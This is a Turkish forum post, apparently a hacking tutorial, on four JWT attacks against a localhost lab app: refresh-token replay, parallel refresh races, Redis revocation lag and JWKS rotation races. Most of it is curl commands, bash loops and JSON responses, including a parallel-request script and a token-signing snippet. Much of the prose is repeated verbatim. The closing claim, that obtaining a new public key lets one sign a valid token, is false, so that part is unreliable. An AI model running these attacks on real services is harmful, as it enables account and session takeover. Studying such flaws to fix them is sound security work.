Selam dostlar çok vakitim yok ondan dolayı çok özenemicem bu konu da ayak üstü şu reise bir cevap verelim dedim.
# JWT Saldırıları 101 # Özlemişsinizdir
"101 hacking serisinin en son konusu" 101 la 101 diyorum ama neyse boş verelim.
Tabi ki nşa böyle fake hesaplar çok cevap vermek düşmez, kendi egosunu tatmin etsin diye biraz ilgi verelim istiyorum belli ki pc de hand sliminator oynamaktan başka bir şey yapmıyor. Genel de söz konusu zafiyetler bir yeri hacklememize olanak sağlamasa da başka senrayolara evilebilir bir şeyler çıkabiliyor.
Şimdi dostlar bugün işleyeceğimiz içerikleri direkt case olarak anlatıcam.
# JWT Saldırıları 101 # Özlemişsinizdir
"101 hacking serisinin en son konusu" 101 la 101 diyorum ama neyse boş verelim.
Tabi ki nşa böyle fake hesaplar çok cevap vermek düşmez, kendi egosunu tatmin etsin diye biraz ilgi verelim istiyorum belli ki pc de hand sliminator oynamaktan başka bir şey yapmıyor. Genel de söz konusu zafiyetler bir yeri hacklememize olanak sağlamasa da başka senrayolara evilebilir bir şeyler çıkabiliyor.
Şimdi dostlar bugün işleyeceğimiz içerikleri direkt case olarak anlatıcam.
CASE 1: Refresh Token Replay Saldırısı
Basit anlatıcam, bir kimlik doğrulama sistemi refresh tokenların birden fazla kullanılmasına izin verir. Saldırgan bir refresh token elde ederse, token bir kez kullanıldaktan sonra bile yeni access tokenlar oluşturmak için tekrar kullanılabilir.
Mesela, (pc değiştim, daha burp yok curl ile idare edin)
login olduktan sonra response bu şekilde gelir.
tokenı ilk kez kullanıyoruz
response bu
eski tokenı tekrar kullanalım (S2kko Replay Saldırısı)
Sunucu eski refresh token'ı kabul eder ve yeni access token döndürür.
refresh tokenı çalınan biri access tokenı çalınıp hesabı çalınabilir.
Basit anlatıcam, bir kimlik doğrulama sistemi refresh tokenların birden fazla kullanılmasına izin verir. Saldırgan bir refresh token elde ederse, token bir kez kullanıldaktan sonra bile yeni access tokenlar oluşturmak için tekrar kullanılabilir.
Mesela, (pc değiştim, daha burp yok curl ile idare edin)
Bash:
curl -X POST http://localhost:3000/auth/login -H "Content-Type: application/json" -d '{"username": "alice", "password": "password123"}'
JSON:
{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"refreshToken": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4...",
"expiresIn": 900
}
Bash:
curl -X POST http://localhost:3000/auth/refresh \
-H "Content-Type: application/json" -d '{"refreshToken": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4..."}' -v
tokenı ilk kez kullanıyoruz
JSON:
{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"refreshToken": "bmV3IHJlZnJlc2ggdG9rZW4...",
"expiresIn": 900
}
Bash:
curl -X POST http://localhost:3000/auth/refresh -H "Content-Type: application/json" -d '{"refreshToken": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4..."}' -v
eski tokenı tekrar kullanalım (S2kko Replay Saldırısı)
JSON:
{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"refreshToken": "Y29uZ3JhdHVsYXRpb24gdG9rZW4...",
"expiresIn": 900
}
refresh tokenı çalınan biri access tokenı çalınıp hesabı çalınabilir.
CASE 2: Paralel Refresh Race Condition
Bunda da olay şu sunucu, refresh token'lar verildiğinde yapay bir gecikme (5 saniye) uygular. Eşzamanlı istekler yaparak, bir saldırgan sunucu orijinal token'ı geçersiz kılmadan önce birden fazla geçerli refresh token alabilir.
ilk işlem bir token alalım
şimdi paralel olarak refresh isteklerini çalıştıralım.
Paralel isteklerden dönen tüm access token'ları ve refresh token'ları kayıt edelim.
Birden fazla access token (4-5 adet) döndürülür ve HEPSİ eşzamanlı olarak geçerlidir.
Bunda da olay şu sunucu, refresh token'lar verildiğinde yapay bir gecikme (5 saniye) uygular. Eşzamanlı istekler yaparak, bir saldırgan sunucu orijinal token'ı geçersiz kılmadan önce birden fazla geçerli refresh token alabilir.
ilk işlem bir token alalım
Bash:
curl -X POST http://localhost:3000/auth/login -H "Content-Type: application/json" -d '{"username": "alice", "password": "password123"}' -s | jq .
şimdi paralel olarak refresh isteklerini çalıştıralım.
Bash:
REFRESH_TOKEN="lakjhdoıu9123joılkhed9182u93uy12983eıewplotfjpoı1*2303"
for i in {1..5}; do
curl -X POST http://localhost:3000/auth/refresh -H "Content-Type: application/json" -d "{\"refreshToken\": \"$REFRESH_TOKEN\"}" -s &
done
wait
Bash:
for token in "${access_tokens[@]}"; do
curl -X GET http://localhost:3000/api/profile -H "Authorization: Bearer $token" -s | jq .
done
Birden fazla access token (4-5 adet) döndürülür ve HEPSİ eşzamanlı olarak geçerlidir.
CASE 3: Redis İptal Tutarsızlığı
Sistem, token blacklisting için Redis kullanır ancak farklı node'ların önbellek durumu tutarsızdır. Bir token bir node'da iptal edildiğinde, diğer node'lar bu değişikliği hemen yansıtmayabilir, bu da token'ların tutarsızlık penceresi boyunca kullanılabilmesine olanak tanır.
Access token'ı kaydedin.
Node 2, önbelleği eskimiş olduğu için token'ı hâlâ kabul edebilir.
Sistem, token blacklisting için Redis kullanır ancak farklı node'ların önbellek durumu tutarsızdır. Bir token bir node'da iptal edildiğinde, diğer node'lar bu değişikliği hemen yansıtmayabilir, bu da token'ların tutarsızlık penceresi boyunca kullanılabilmesine olanak tanır.
Bash:
# Terminal 1: Alice olarak giriş yapın
curl -X POST http://localhost:3000/auth/login -H "Content-Type: application/json" -d '{"username": "alice", "password": "password123"}' -s | jq .
Bash:
curl -X POST http://localhost:3000/auth/logout -H "Authorization: Bearer $ACCESS_TOKEN" -s | jq .
Bash:
# Birkaç saniye bekleyin (yayılma gecikmesini simüle eder)
sleep 2
# Token'ı kullanmayı deneyin
curl -X GET http://localhost:3000/api/profile -H "Authorization: Bearer $ACCESS_TOKEN" -s | jq .
Node 2, önbelleği eskimiş olduğu için token'ı hâlâ kabul edebilir.
CASE 4: JWKS Rotasyonu Race Condition
Sunucu imzalama anahtarlarını döndürdüğünde, farklı node'lar token'ları doğrulamak için farklı anahtarlar kullanabilir. Eski anahtarla imzalanmış bir token, anahtar önbelleğini henüz güncellememiş bir node tarafından kabul edilebilir.
Response aşağı yukarı bu şekilde bir şey gelir.
Eski anahtarla imzalanmış token normalde doğrulamada başarısız olmalıdır.
Anahtar ID'si değişirse önbellek üzerindeki tutarsızlığını tespit etmiş oluruz.
Yeni public anahtarı yeterince hızlı alabilirseniz, geçerli olacak bir token imzalayabilirsiniz.
Bu konu böyle oldu bir baba yiğit bir tane mod varsa burp üzerinden fake data ile ekran görüntüsü ekleyebilir.
Sunucu imzalama anahtarlarını döndürdüğünde, farklı node'lar token'ları doğrulamak için farklı anahtarlar kullanabilir. Eski anahtarla imzalanmış bir token, anahtar önbelleğini henüz güncellememiş bir node tarafından kabul edilebilir.
Bash:
curl -X GET http://localhost:3000/.well-known/jwks.json -s | jq .
JSON:
{
"keys": [
{
"kty": "RSA",
"kid": "key-2024-01",
"use": "sig",
"alg": "RS256",
"n": "...",
"e": "AQAB"
}
]
}
JavaScript:
const oldKey = `-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----`;
const token = jwt.sign({ userId: 1, role: 'user' }, oldKey, { algorithm: 'RS256', kid: 'key-old' });
Eski anahtarla imzalanmış token normalde doğrulamada başarısız olmalıdır.
Bash:
# Anahtar rotasyonunu tetikleyin (varsa endpoint)
curl -X POST http://localhost:3000/admin/rotate-keys -H "Authorization: Bearer $ADMIN_TOKEN" -s | jq .
# Hemen sonra JWKS'i kontrol edin
curl -X GET http://localhost:3000/.well-known/jwks.json -s | jq .
Bash:
# JWKS endpoint'ini ardışık olarak birden fazla kez kontrol edin
for i in {1..10}; do
curl -X GET http://localhost:3000/.well-known/jwks.json -s | jq '.keys[0].kid'
sleep 0.5
done
Anahtar ID'si değişirse önbellek üzerindeki tutarsızlığını tespit etmiş oluruz.
Yeni public anahtarı yeterince hızlı alabilirseniz, geçerli olacak bir token imzalayabilirsiniz.
Bu konu böyle oldu bir baba yiğit bir tane mod varsa burp üzerinden fake data ile ekran görüntüsü ekleyebilir.


